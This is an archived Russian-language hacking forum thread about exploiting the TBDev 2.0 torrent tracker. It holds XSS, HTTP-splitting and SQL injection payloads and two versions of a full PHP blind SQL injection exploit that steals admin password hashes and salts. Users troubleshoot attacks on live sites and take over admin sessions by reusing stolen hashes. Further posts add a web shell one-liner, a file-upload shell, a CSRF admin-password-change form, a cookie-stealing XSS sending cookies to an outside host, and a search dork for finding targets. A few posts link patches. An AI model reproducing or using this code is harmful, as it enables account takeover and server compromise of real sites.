Просмотр полной версии : Трекер-движок TBDev 2.0
Баги искал на, TBDev 2.0 Yuna Scatari Edition, подозреваю что в других редакциях они так-же работают:
Раскрытие пути, если не залогинен:confirm.php?id[]=
themes/TBDev/stdfoot.php
themes/TBDev/stdhead.php
themes/Gray/stdhead.php
delete.php
captcha.php если залогинен: thanks.php
votesview.php
takeedit.php
comment.php?action=quote&cid[]=XSShttp://site/offcomment.php?action=<script>alert(/XSS/)</script>XSS в POST-запросе: <form action="http://site/getrss.php" method="POST">
<input type="text" name="cat[1]" value="<script>alert(/XSS/)</script>">
<input type="submit">
</form>
HTTP Splitting (требуются права модератора) <form action="http://site/comment.php?action=edit&cid=ID_комментария" method="POST">
<input type="text" name="returnto" value="%0d%0a%0d%0a<script>alert(document.cookie)</script>">
<input type="text" name="text" value="any_text">
<input type="submit">
</form> Вместо "ID_комментария" надо подставить id реально существующего комментария. Так же эта бага позволяет отредиректить модератора на любой домен (проверки на то что адрес назначения находится на том-же домене, нет).
Ищется в гугле, как: "Powered by TBDev v2.0"
В общем, всё что нашёл сегодня, багов на порядок больше, но искал не оч. глубоко.
HTTP Splitting (простого пользователя достаточно):<form action="http://site/message.php?action=takemessage" method="POST">
<input type="text" name="receiver" value="1">
<input type="text" name="origmsg" value="1">
<input type="text" name="returnto" value="%0d%0a%0d%0a<script>alert(document.cookie)</script>">
<input type="text" name="msg" value="msg">
<input type="text" name="subject" value="subject">
<input type="submit">
</form>
XSS в POST запросе (требуются права модератора): <form action="http://site/message.php?action=mass_pm" method="POST">
<input type="text" name="n_pms" value="<script>alert(/XSS1/)</script>">
<input type="text" name="pmees" value="<script>alert(/XSS2/)</script>">
<input type="submit">
</form>
Там же, XSS в Referer(требуются права модератора)Referer: ><script>alert(/Hi/)</script>SQL Inj(требуются права модератора)<form action="http://site/nowarn.php" method="POST">
<input type="text" name="nowarned" value="nowarned">
<input type="text" name="usernw[]" value="SQL">
<input type="submit">
</form> Запрос: SELECT modcomment FROM users WHERE id IN (SQL)
Blind SQL Inj(требуются права модератора)<form action="http://site/nowarn.php" method="POST">
<input type="text" name="nowarned" value="nowarned">
<input type="text" name="usernw[]" value="1">
<input type="text" name="desact[]" value="SQL">
<input type="submit">
</form> Запрос: UPDATE users SET enabled='no' WHERE id IN (SQL)
SQL Injhttp://site/requests.php?action=reset&requestid=sql'Запрос: SELECT userid, filledby FROM requests WHERE id =sql'
SQL Injhttp://site/requests.php?action=reset&requestid=sql'Запрос: SELECT userid, filledby FROM requests WHERE id =sql'
SQL Inj:
POST: http://site/requests.php
action=edit&category=1&id=SQL Запрос: UPDATE requests SET cat=1, request='', descr='' WHERE id=SQL
Blind SQL Inj:
POST: http://site/offers.php
action=edit&id=SQL
Запрос: UPDATE offers SET category='', name='', descr='' WHERE id=SQL
SQL Inj (требуются права модератора):
POST: http://site/offers.php
deloffer=SQL Запрос: DELETE FROM offers WHERE id = SQL
XSShttp://site/viewrequests.php?category=><script>alert(/XSS/)</script>
XSS(требуются права модератора)http://site/staffmess.php?returnto=><script>alert(/XSS/)</script>XSS in Referer:
http://site/offcomment.php?action=edit&cid=3
Referer: ><script>alert(/XSS/)</script>http://site/offcomment.php?action=vieworiginal&cid=3
Referer: ""><script>alert(/XSS/)</script>
HTTP Splitting (требуются права модератора):
http://site/offcomment.php?action=delete&cid=1&sure=1&returnto=<script>alert(document.cookie)</script>POST:http://site/offcomment.php?action=edit&cid=3
msg=msg&returnto=value
З.Ы.
Сори за неупорядоченность, постил по мере нахождения. Кстати, теперь по Powered by TBDev на второй строчке гугла находится античат :D
TBDev v2.0 Blind SQL Injection Exploit
http://site/requests.php?action=reset&requestid=sql'Иньекция оказалось слепой, но с выводом ошибки поэтому использовал следующий запрос:/requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+passhash+from+u sers+where+id=1),1,1))=[CHARCODE],'1',(select+1+union+select+2))+--+Для запуска требуется логин/пароль любого зарегистрированного пользователя, кукисы сплоит запросит самостоятельно.
Результат работы - hash, salt. hash закодирован как: md5($salt.$pass.$salt);
Запускать так: tbdev2sql.php url target_id login passwordНапример tbdev2sql.php http://www.site.com/ 1 Vasya Pupkin
Собственно код:
<?
//TBDev2 Blind SQL Injection Exploit by Qwazar
//Greets: +toxa+ & antichat.ru
set_time_limit(0);
ignore_user_abort(1);
function getcookie($url, $name, $password){
$res = send_xpl($url,"takelogin.php?username=$name&password=$password");
preg_match("/Set-Cookie: uid=(\d+)*;/", $res, $matches);
$uid=$matches[1];
preg_match("/Set-Cookie: pass=([\w+\d+]{32});/", $res, $matches);
$passhash=$matches[1];
$res = "uid=$uid; pass=$passhash;";
if(isset($uid)&&isset($passhash))
return $res;
else
return -1;
}
function send_xpl($url, $xpl){
global $id;
global $cookie;
$u=parse_url($url);
$req ="GET ".$u['path']."$xpl HTTP/1.1\r\n";
$req.="Host: ".$u['host']."\r\n";
$req.="Cookie: $cookie\r\n";
$req.="Connection: Close\r\n\r\n";
$fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
fwrite($fs, $req);
while (!feof($fs)) {
$res .= fread($fs, 8192);
}
fclose($fs);
return $res;
}
function xpl($field ,$condition, $pos){
global $id;
$xpl="requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+$field+from+use rs+where+id=$id),$pos,1))$condition,'1',(select+1+ union+select+2))+--+";
return $xpl;
}
if($argc<4)
{
echo "==================\r\n";
echo "Using tbdev2sql.php url target_id login password\r\n target_id - id of target member\r\n login, password - login and password of any existing account\r\n\r\n\r\nEx.: tbdev2sql.php http://www.site.com/ 1 Alex Password\r\n";
echo "==================\r\n";
die();
}
$url=$argv[1];
$id=$argv[2];
$name=$argv[3];
$password=$argv[4];
echo $url.":".$name.":".$password."\r\n";
echo "Trying to get your cookies... ";
$cookie = getcookie($url, $name, $password);
if($cookie!=-1)
echo "[DONE]\r\n";
else
die("Can't get cookies.. Pass incorrect?\r\n");
echo "Trying to get passhash: ";
//get md5 pass
for($i=1;$i<=32;$i++){
$flag = 0;
for($j=48;$j<=57;$j++){
if(!preg_match('/Subquery returns/', send_xpl($url, xpl("passhash",'='.$j,$i)))){ $pass.=chr($j); if($j!=48) {echo chr(8);} echo chr($j); $flag=1; break; }
else {if($j!=48) {echo chr(8);} echo chr($j);}
}
if($flag!=1) {
for($j=97;$j<=102;$j++){
if(!preg_match('/Subquery returns/', send_xpl($url, xpl("passhash",'='.$j,$i)))){ $pass.=chr($j); echo chr(8).chr($j); $flag=1; break; }
else {echo chr(8).chr($j);}
}
}
if (!$flag)
die("\r\nExploit failed\r\n");
}
echo " [DONE]\r\n";
echo "Trying to get salt: ";
//get secret (20 characters 1-9a-Z)
for($i=1;$i<=20;$i++){
$flag = 0;
for($j=49;$j<=57;$j++){
if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); if($j!=49) {echo chr(8);} echo chr($j); $flag=1; break; }
else {if($j!=49) {echo chr(8);} echo chr($j);}
}
if($flag!=1) {
for($j=65;$j<=90;$j++){
if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
else {echo chr(8).chr($j);}
}
}
if($flag!=1) {
for($j=97;$j<=122;$j++){
if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
else {echo chr(8).chr($j);}
}
}
if (!$flag)
die("\r\nExploit failed\r\n");
}
echo " [DONE]\r\n";
?>
Скачать можно тут: скачать файл (http://www.x2b.ru/get/1150)
/requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+passhash+from+u sers+where+id=1),1,1))=[CHARCODE],'1',(select+1+union+select+2))+--+
SQL ругается.. но иньекция не проходит. в чаркод что писать?.. кодировку базы? о_0
tbdev2sql.php url target_id login password
За скрипт спасибо, залил на хост юзаю.. http://myhost/tbdev2sql.php http://target/ 1 вася парольваси
и апач говорит тут же, что не найден этот файл.. ммм. может я не так что-то делаю? :) ++
/requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+passhash+from+u sers+where+id=1),1,1))=[CHARCODE],'1',(select+1+union+select+2))+--+
SQL ругается.. но иньекция не проходит. в чаркод что писать?.. кодировку базы? о_0 Чаркод - код символа, если символ находится на данной позиции, то ошибке не будет, если не находится - выдаст ошибку "Subquery returns" чтото там.
Для passhash это числа от 48 до 57 включительно (0-9) и от 97 до 102 включительно (a-f).
Позиция проверяемого символа задаётся в этом кусочке запроса:(select+passhash+from+u sers+where+id=1),[POS],1)
Вместо [POS], для passhash подставляй цифры от 1 до 32.
Если хочешь получить соль, то вместо "passhash" подставь "secret" и диапазоны pos - 1-20, charcode - 49-57,65-90,97-122 (включительно). Соль - 20 символов [1-9,a-Z]
За скрипт спасибо, залил на хост юзаю..
http://myhost/tbdev2sql.php http://target/ 1 вася парольваси
и апач говорит тут же, что не найден этот файл.. ммм. может я не так что-то делаю? :) ++ UPD: Блин, неправильно тебя понял. В общем его надо запускать из командной строки! А не из браузера.
P.S.
А вообще посмотри сплоит, код очень прост для понимания.
Nightmarе
16.08.2008, 12:24
Ещё одно раскрытие пути обнаружил:
details.php?id[]=
Ещё XSS, требуются права модератора:http://site/stats.php?uporder="><script>alert(/XSS/)</script>
http://site/usersearch.php?r="><script>alert(/XSS/)</script>Для usersearch.php уязвимы параметры r,n,co,dl2,ls2,ul2,ls,d,em,ul,r2,dl,ma,ip,d2
Qwazar, а как подставить куки в эксплоит.. я юзаю его на VDS. У себя дома с поддержкой CLI запустить не вышло.. зато на VDS по ssh пошло, как по маслу.. как подменить куки? +++
Qwazar, а как подставить куки в эксплоит.. я юзаю его на VDS. У себя дома с поддержкой CLI запустить не вышло.. зато на VDS по ssh пошло, как по маслу.. как подменить куки? +++ Ну вообще он при запуске требует логин/пароль и сам запрашивает куки.
Но если очень хочется, можешь эту строку$cookie = getcookie($url, $name, $password); заменить на $cookie = "А СЮДА ВСЁ ЧТО ХОЧЕШЬ"
Запустил..
Trying to get your cookies... [DONE]
Trying to get passhash: b51f02706ed3113b1b533f4f16282747 [DONE]
Trying to get salt: lz
Exploit failed
соль не подбирает.. значит дырку прикрыли? может существуют методы?
Запустил..
Trying to get your cookies... [DONE]
Trying to get passhash: b51f02706ed3113b1b533f4f16282747 [DONE]
Trying to get salt: lz
Exploit failed
соль не подбирает.. значит дырку прикрыли? может существуют методы?
Нет, дырку не прикрыли, видимо просто на 3м символе соли сервер перестал отвечать. Тут есть 2 варианта:
1) Переписать сплоит так, чтобы использовался бинарный поиск (так уменьшится количество запросов)
2) Удалить всё между echo "Trying to get passhash: "; и echo "Trying to get salt: "; и подбирать только соль, так же можно в оставшемся цикле подкручивать начальное значение $i, в твоём случае можно поставить $i=2 , т.к. первый символ соли ты подобрал.
Qwazar, я удалял цикл получения хеша.. толку мало, все равно lz и дальше не идет..( z - не успел перебрать.. только один символ значит. ) Пробовал менять значение $i= на 2-ю букву.. 3-ю... и т.д. в обоих случаях получаю :
Trying to get your cookies... [DONE]
Trying to get passhash: Trying to get salt: z
Exploit failed
1) Переписать сплоит так, чтобы использовался бинарный поиск (так уменьшится количество запросов)
как? :D ++++
Хмм.. Возможно у тебя чуть другая версия TBDev, тогда может у тебя соль не [1-9,a-Z], а [0-9,a-Z]. Попробуй в том цикле, где ищется соль, поменятьfor($j=49;$j<=57;$j++){наfor($j=48;$j<=57;$j++){.
Хмм.. Возможно у тебя чуть другая версия TBDev, тогда может у тебя соль не [1-9,a-Z], а [0-9,a-Z]. Попробуй в том цикле, где ищется соль, поменятьfor($j=49;$j<=57;$j++){наfor($j=48;$j<=57;$j++){.
Попробовал.. как результат:
Trying to get your cookies... [DONE]
Trying to get passhash: 18a21e8e877feb58b5073b9b838b8db2 [DONE]
Trying to get salt:0z
Exploit failed
И на другой ID атака.. :
Trying to get your cookies... [DONE]
Trying to get passhash: b51f02706ed3113b1b533f4f16282747 [DONE]
Trying to get salt:00z
Exploit failed
Версия 2.0 вроде ) хеш же тащит..как вытащить соль?)) :p
все-таки с солью что-то не то.. как я поменял алгоритм ( с нуля поиск ) то теперь в соли первые нули.. а тогда, когда эксплоитил без изменений - соль была слегка другой ( первый символ )
Замени кусок с солью, на:
echo "Trying to get salt: ";
//get secret (20 characters 1-9a-Z)
for($i=1;$i<=20;$i++){
$flag = 0;
for($j=48;$j<=57;$j++){
if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); if($j!=48) {echo chr(8);} echo chr($j); $flag=1; break; }
else {if($j!=48) {echo chr(8);} echo chr($j);}
}
if($flag!=1) {
for($j=65;$j<=90;$j++){
if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
else {echo chr(8).chr($j);}
}
}
if($flag!=1) {
for($j=97;$j<=122;$j++){
if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
else {echo chr(8).chr($j);}
}
}
if (!$flag)
die("\r\nExploit failed\r\n");
}
echo " [DONE]\r\n"; Если и это не поможет, поиграй с диапазонами во внутренних циклах, возможно в соли встречаются какието другие символы, ещё возможно то что она короче. Хз почему так, может какой мод установлен. На родном TBDev2 всё пашет на ура.Можно поподробнее?И желательно совсем подробно.А лучше видио. Подробнее - нет, т.к. считаю это неправильным. Если ты встречался с перлом, то проблем php у тебя не вызовет. Почитай статьи, покопайся для начала сам.
Прошу прощения за то что долго не отвечал :)
Новая версия сплоента, использует бинарный поиск (что делает его предпочтительнее прошлого варианта ввиду логарифмической сложности поиска, а значит и меньшем количестве запросов к серверу, во время атаки), так-же перед атакой проверяет уязвима ли цель. Поиск по соли идёт теперь в диапазоне от 0 до 255, т.к. есть данные, что соль в разных версиях (или с какими нибудь модами) генерится по разному.
<?
//TBDev2 Blind SQL Injection Exploit by Qwazar
//Greets: +toxa+ & antichat.ru
set_time_limit(0);
ignore_user_abort(1);
Error_Reporting(E_ALL & ~E_NOTICE);
function getcookie($url, $name, $password){
$res = send_xpl($url,"takelogin.php?username=$name&password=$password");
preg_match("/Set-Cookie: uid=(\d+)*;/", $res, $matches);
$uid=$matches[1];
preg_match("/Set-Cookie: pass=([\w+\d+]{32});/", $res, $matches);
$passhash=$matches[1];
$res = "uid=$uid; pass=$passhash;";
if(isset($uid)&&isset($passhash))
return $res;
else
return -1;
}
function send_xpl($url, $xpl){
global $id;
global $cookie;
$u=parse_url($url);
$req ="GET ".$u['path']."$xpl HTTP/1.1\r\n";
$req.="Host: ".$u['host']."\r\n";
$req.="Cookie: $cookie\r\n";
$req.="Connection: Close\r\n\r\n";
$fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
fwrite($fs, $req);
while (!feof($fs)) {
$res .= fread($fs, 8192);
}
fclose($fs);
return $res;
}
function xpl($field, $condition, $pos){
global $id;
$xpl="requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+$field+from+use rs+where+id=$id),$pos,1))$condition,'1',(select+1+ union+select+2))+--+";
return $xpl;
}
function cond($url, $field, $cond, $pos, $ch) {
if(!preg_match('/Subquery returns/', send_xpl($url, xpl($field,$cond.$ch,$pos))))
return 1;
else
return 0;
}
function isVulnerable($url) {
if(preg_match('/Subquery returns/', send_xpl($url, xpl("passhash","=-1",1))))
return 1;
else
return 2;
}
function getChar($url, $field, $pos, $lb=0, $ub=255) {
while(true) {
$M = floor($lb + ($ub-$lb)/2);
if(cond($url, $field, '<', $pos, $M)==1) {
$ub = $M - 1;
}
else if(cond($url, $field, '>', $pos, $M)==1) {
$lb = $M + 1;
}
else
return chr($M);
if($lb > $ub)
return -1;
}
}
if($argc<4)
{
echo "==================\r\n";
echo "Using tbdev2sql.php url target_id login password\r\n target_id - id of target member\r\n login, password - login and password of any existing account\r\n\r\n\r\nEx.: tbdev2xpl.php http://www.site.com/ 1 Alex Password\r\n";
echo "==================\r\n";
die();
}
$url=$argv[1];
$id=$argv[2];
$name=$argv[3];
$password=$argv[4];
echo $url.":".$name.":".$password."\r\n";
echo "Trying to get your cookies... ";
$cookie = getcookie($url, $name, $password);
if($cookie!=-1)
echo "[DONE]\r\n";
else
die("Can't get cookies.. Pass incorrect?\r\n");
if(!isVulnerable($url))
die("Exploit failed: Target is not vulnerable");
echo "Trying to get passhash: ";
for($i=1;$i<=32;$i++){
$c = getChar($url, "passhash", $i, 47, 103);
if($c==-1)
die("\r\nExploit failed\r\n");
else
echo $c;
}
echo " [DONE]\r\n";
echo "Trying to get salt: ";
for($i=1;$i<=20;$i++){
$c = getChar($url, "secret", $i);
if($c==-1)
die("\r\nExploit failed\r\n");
else
echo $c;
}
echo " [DONE]\r\n";
?>
Скачать можно тут: http://www.x2b.ru/get/3447
Как защититься, читаем тут: https://forum.antichat.ru/thread30641.html
Не забыть и про остальные файлы кроме requests.php, двиг дырявый, я вполне мог чтото и просмотреть.
З.Ы.
Да и вообще хозяйке на заметку - бинарный поиск вечно рулит, незачем писать перебор в лоб и слать по 16 запросов, на каждый символ, особенно критично если сплоент на бенчмарке.
Red Virus
24.09.2008, 00:15
[akep']Trying to get passhash: 4537fe63957cb67a4921ad56bdef5295 [DONE]
Trying to get salt: XiWVDJOsy4nSdjw2Iupr [DONE]
Вроде все норм прощло Только что с солью?
P.S. Если кто расхешыт кинте плз в пм с мну +++
вставь пас хеш в куки и будет тебе счастье :)
[akep']Вроде все норм прощло Только что с солью?
А что не так с солью?
Как я уже писал:
Результат работы - hash, salt. hash закодирован как: md5($salt.$pass.$salt);
Соль - 20 символов.
DJ ][akep
24.09.2008, 16:28
вставь пас хеш в куки и будет тебе счастье :)
Непойму строение кукисов
Что первое
mybbuser=3306_iIXAPC6fB3d7CqTrVbEg5kpw7Lt3aMCIv2JG 8HLAep9GAtyWu6
Объясни что сюда нужно править т.к. я в
pass - правил добытый експлоитом хэш
а в
uid поставил 1 (типо админа)
Но что в первом я непонял :(
У меня:
Cookie:
uid=2; pass=13b5c2e3dc4472ed1d28dfe3f6649ffe; mybbuser=2_WoFEnvzPlYkFEqbT2cYZef8HbAl1ElldsmX9617 7j7x9HMPQ3N Жирным выделил то, что нужно поменять на passhash + не забудь uid сменить на 1. НА mybb* - забей, это для форума, сплоит эти поля не достаёт.
DJ ][akep
25.09.2008, 12:29
Спасибо все получилось.
Еще вопрос.
Реально с админки шел залить?
как вариант ... конечно ... заифреймить админу такую HTML -ку
<body onload="p.submit()">
<form action="http://megalife.kz/torrent/admincp.php?op=iUsers" method="post" id="p">
<input type=hidden name="iname" value="ИМЯ_АДМИНА">
<input type=hidden name="ipass" value="НОВЫЙ_ПАРОЛЬ">
<input type=hidden name="imail" value="МАЙЛ_АДМИНА@mail.ru">
<input type=hidden name="isub" value="%D1%E4%E5%EB%E0%F2%FC">
<input type=hidden name="op" value="iUsers">
Как вы уже все поняли ... это сменит пароль нужному нам пользователю.... проявите немного фантазии и дело за малым ;)
C:\php>php.exe sql.php http://adrez/ 1 123123123 123123
http://adrez/:123123123:123123
Trying to get your cookies... [DONE]
Trying to get passhash:
Exploit failed
Пробывал сайтах на 5 везде одно и тоже .. Кто может помоч?
C:\php>php.exe sql.php http://adrez/ 1 123123123 123123
http://adrez/:123123123:123123
Trying to get your cookies... [DONE]
Trying to get passhash:
Exploit failed
Пробывал сайтах на 5 везде одно и тоже .. Кто может помоч?
Я попробую тебе помоч -))
измени target_id с 1 на 3 или 4 или 10 ... вопщем посмотри id админа сначало и ставь его туда ...
Т.к при установке этого движка в базу прописываеца не 1 ... у меня на локалхосте он равнялся 3
сделал видео _http://letitbit.net/download/262433962218/qwazar-sploit.rar.html
_http://rapidshare.com/files/165895736/qwazar_sploit.rar.html
Чтобы небыло вопросов, php из видео скачан отсюда _http://php.ru/download/php-5.2.1-Win32.zip
злойдядька
23.11.2008, 23:43
активные XSS в полях Email, Имя в AIM, Ваш MSN, Имя в Yahoo!, Имя в mIRC!, Сайт.
Все работает если вводить при реге, если редактировать после реги, работать не будет.
В поле Email скуля, тоесть при реге вводим мыло вида ' group by 100/*@blablabla.ru
выдает что количество колонок не верное.
Пример получения хеша админа:
в поле имейл пишем :' union select passhash from users where id=1 into outfile '../../../usr/local/www/torrent/torrents/images/1.txt'/* -- @ukrnet.ua
по адрессу h**p://сайт/torrents/images/1.txt смотрим хеш юзера с id=1
пассивная хss www.site.ru/redir.php?url='><script>alert(/xak/)</script>
Сплоит для TBDev 2.0. , от паблик версии отличается тем, что пытается залить шелл на сервер, помимо поиска пасса/соли. Если шелл залить не удаётся, значит вместо RFI прийдётся использовать LFI, или на сервере не работает функция file_put_contents, которую вполне можно заменить на обычный fopen/fwrite.
LFI/RFI в админке используя параметр admincp.php?rootpath=.
Если register_globals ON, то LFI/RFI доступны и не из админки, а из index.php, тот же параметр.
Читайте комментарии к сплоиту, для заливки шелла, нужно положить код <?php
file_put_contents("torrents/.htaccess", "");
file_put_contents("torrents/shell.php", "<? system(\$_GET['cmd']) ?>");
?> В файл доступный для чтения, на вашем сервере и прописать путь к нему в переменной $uploader.
Так же сплоит может просто вытащить хеш, соль не закачивая шелл. Используется алгоритм бинарного поиска, так что запросов шлётся относительно немного, для слепой скули. (максимум 4 запроса на символ, вместо стабильно 16 при полном переборе, т.е. работает минимум в 4 раза быстрее, чем при полном переборе. И вообще для всех сплоитов со слепыми скулями, использующих BENCHMARK или перебор имён таблиц, стоит использовать алгоритм бинарного поиска, так быстрее)
P.S.
В каталоге 'admin' вообще лежит файлик (core.php) следующего содержания: $op = (!isset($_REQUEST['op'])) ? "Main" : $_REQUEST['op'];
foreach ($_GET as $key => $value)
$GLOBALS[$key] = $value;
foreach ($_POST as $key => $value)
$GLOBALS[$key] = $value;
foreach ($_COOKIE as $key => $value)
$GLOBALS[$key] = $value; Этот файл инклудится в admin.php .
Dork:"Powered by TBDev v2.0"
Качать тут: http://www.x2b.ru/get/14887
pacan4ik
08.12.2008, 23:00
Can't create/write to file '..\..\..\usr\local\www\torrent\torrents\images\1. txt' (Errcode: 2)
Red Virus
09.12.2008, 14:31
Запрос в поле майл делаю правильно новсе время вылетает ошибка
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/* -- @uspp.ru'' at line 1
хотя на локальной машине все робит на ура вчем проблема может быть ?
aka PSIH
09.12.2008, 16:08
Ты уверен что у тебя прав хватает?
Errcode 2 означает что папка не существует(т.е путь не правильный)... ;)
Если прав не хватает то Errcode 13
;)
special for roa :p
Dimazzan
09.12.2008, 16:21
Помогите с проблемой You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/* -- @mail.ru'' at line 1
сделал видео _http://letitbit.net/download/262433962218/qwazar-sploit.rar.html
_http://rapidshare.com/files/165895736/qwazar_sploit.rar.html
Чтобы небыло вопросов, php из видео скачан отсюда _http://php.ru/download/php-5.2.1-Win32.zip
выложи видео пожалуйста на депоситфайлс.
http://depositfiles.com/files/w2ggoxnsd
Витян эх, данное чудо уже не работает ((( больше никаких уязвимостей не знаешь (приват) :) ?
C:\php>php.exe sql.php http://adrez/ 1 123123123 123123
http://adrez/:123123123:123123
Trying to get your cookies... [DONE]
Trying to get passhash:
Exploit failed
Пробывал сайтах на 5 везде одно и тоже .. Кто может помоч?
+1 также, мож это всё лажа.... :(
+1 также, мож это всё лажа.... :( Ну дык, сколько времени уже прошло, на сайте разработчика уже исправления для этой баги выложили.
Dimazzan
10.12.2008, 18:14
в поле имейл пишем :' union select passhash from users where id=1 into outfile '../../../usr/local/www/torrent/torrents/images/1.txt'/* -- @ukrnet.ua
по адрессу h**p://сайт/torrents/images/1.txt смотрим хеш юзера с id=1
Эта штука не пашет!!!
Dimazzan
10.12.2008, 18:15
+1 также, мож это всё лажа....
Эта штука еще актуально на Sky-Tracker
http://www.google.ru/search?hl=ru&q=Powered+by+Sky-Tracker&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA+%D0%B2+Google&lr=
holden321
13.12.2008, 17:13
подскажите, зайдя на сайт как админ или сисоп я могу изменить файлы движковые или записать новые? хотябы в принципе это возможно или нет?
Sky-Tracker
Red Virus
15.12.2008, 02:31
подскажите, зайдя на сайт как админ или сисоп я могу изменить файлы движковые или записать новые? хотябы в принципе это возможно или нет?
Sky-Tracker
можно ... залить шел
holden321
15.12.2008, 15:01
я понимаю что залить шел, но залить шел админ может ?))
Ваще самый лучший способ залить шелл это создать пихапе блок с формочкой загрузки файла Я так и заливал шелл
Elenberg
18.12.2008, 00:51
Плизз нид хелп!
на висте х64 неудается запустить скрипт by Qwazar, вместо выполнения просто выдается содержимое файла.
Пхп тот что нужно
PHP 5.2.1 (cli) (built: Feb 7 2007 23:11:26)
Copyright (c) 1997-2007 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies
Если кто занет в чем может быть причина, подскажите плизз. :(
нармальные патсаны юзают vmware с xp sp2 и не знают проблем)
Elenberg
18.12.2008, 02:38
vmware с xp sp2 непомог, так же просто выдается содержимое файла(((
Qwazar, обьясни пожалуйста, как закрыть эти дыры ( защититься от сплойта.. раскрытия путей и т.д. ) +. ;)
На офиц. сайте http://bit-torrent.kiev.ua/ на форуме есть заплатки для этих уязвимостей ;)
_Sniper_
19.12.2008, 16:10
Скажите как залить шелл через блоки? А то почитал всю тему..Ничего не понял.
_Sniper_, как как.. легко ) Админка - Блоки - добавить файловый блок. указываешь тип PHP потом в поле тупо вставляешь код шела ( лучше криптованного ). и потом юзаешь по ссылке _http://targetsite/tracker/blocks/shall-block.php или block-shall.php не помню )
Qwazar, там оленизмом страдает народ.. я в чате написал, друзья .. как залатать дыры от этих багов, и ссылку на ачат кинул.. в итоге словил бан с ризоном " в чате помощи не просят" :) зафига тогда чат.. оффтоп. вообщем, спасибо.. буду искать Ну у них же там на главной написано :)
Вот, в общем, топик где были предложены их исправления. Имхо нифига не элегантно и порой избыточно, но: http://bit-torrent.kiev.ua/bnovlenie_bezopasnosti-t3319/index.html?t=3319
У меня при использовании сполйта пишет что неверные куки, pass incorect, хотя всё правильно. ЧТо не так?
Arigona
Посмотри чтоб в конце адресса был слеш!
http://target.com/ 1 bla bla
у меня именно в слеше была проблема!
Тоже самое :(
Trying to get your cookies... Can't get cookies.. Pass incorrect?
злойдядька
20.12.2008, 17:53
Эта штука не пашет!!!
все прекрасно пашет, читай ман по SQL, разве не видиш что ругается на синтаксис ? значит скуля есть, тоько ты пишеш не правельно! Вообщем патч хендс
з.ы. если прочтеш внимательно мой пост с багой то там написано ПРИМЕР, тоесть это пример конкретно для сайта на котором это проделывал я, у вас и версия SQL может быть другая и путь другой, как найти путь написано в этой же теме, поэтому если у вас не хватает знаний чтобы заюзать багу, то не нужно кричать что она не пашет!
А вот у меня сломало и соль, для чего она и как её использовать?
baltazar
20.12.2008, 22:04
В настройках профиля во вкладке аватар можно реализовать XSS:
http://host.org/1.jpg onload= location.href='http://host.org/log.php?c='+document.cookie;//
Qwazar, понял.
А возможно реализовть сплоит под другую sql уязвимость? У многих нет requests.php просто..
вот раскрытый путь обнаружил:
details.php?id[]=
мне кажеться тут что-то скрывается :)
baltazar, как?
ВОт если я пользуюсь снифером na-s.ru
http://google/1.jpg onload= location.href='http://na-s.ru/limage.jpg?c='+document.cookie;//
Правильно?
Как можно загрузить шелл имея админа? Реально такое?
через админку, создеш блок и вписываеш туда код шелла
Нет, при добавлении блока он ещё своё добавляет :(
$self = $_SERVER['PHP_SELF'];
$docr = $_SERVER['DOCUMENT_ROOT'];
$sern = $_SERVER['SERVER_NAME'];
$tend = "</tr></form></table><br><br><br><br>";
if (!empty($_GET['ac'])) {$ac = $_GET['ac'];}
elseif (!empty($_POST['ac'])) {$ac = $_POST['ac'];}
else {$ac = "upload";}
switch($ac) {
case "upload":
echo <<<HTML
<table>
<form enctype="multipart/form-data" action="$self" method="POST">
<input type="hidden" name="ac" value="upload">
<tr>
<input size="5" name="file" type="file"></td>
</tr>
<tr>
<td><input size="10" value="$docr/" name="path" type="text"><input type="submit" value="ОК"></td>
$tend
HTML;
if (isset($_POST['path'])){
$uploadfile = $_POST['path'].$_FILES['file']['name'];
if ($_POST['path']==""){$uploadfile = $_FILES['file']['name'];}
if (copy($_FILES['file']['tmp_name'], $uploadfile)) {
echo "Файло ".$_FILES['file']['name']." загружен";
} else {
print "Не удаётся загрузить файло. Инфа:\n";
print_r($_FILES);
}
}
break;
}
?>
</pre>
Вот Замутил это из одного древнего шела Создаёте пихапе блок вписываете туда весь этот код Сохраняете. в нужном блоке И на указанных вами страницах будет отабражаться формачка залифки файла Найдёте эту формачку Укажите директорию, зальете.
Раскрытие путей:
recover.php?id[]=
email-gateway.php?id[]=
takeconfirm.php?id[]=
takeinvite.php?id[]=
topten.php?lim[]=
topten.php?type[]=
Обновление безопасности (http://forum.antichat.ru/thread100403.html)
Подскажите, пожалуйста, способ залить шелл, зайдя в админку. Способ через php-блок не катит, т.к. на папке выставлены права не позволяющие в неё писать (((
Если можно подробно.
aledain, должны стоять права 777.
Если они не стоят как ты сказал - тебе не повезло просто...
Red Virus
13.01.2009, 04:44
aledain, должны стоять права 777.
Если они не стоят как ты сказал - тебе не повезло просто...
Не обязательно 777 иногда скрипт принудительно записывает блок хоть и ругается на отсутствие прав нл это как уже упоминалось выше- как повезет
pacan4ik
13.01.2009, 17:03
$self = $_SERVER['PHP_SELF'];
$docr = $_SERVER['DOCUMENT_ROOT'];
$sern = $_SERVER['SERVER_NAME'];
$tend = "</tr></form></table><br><br><br><br>";
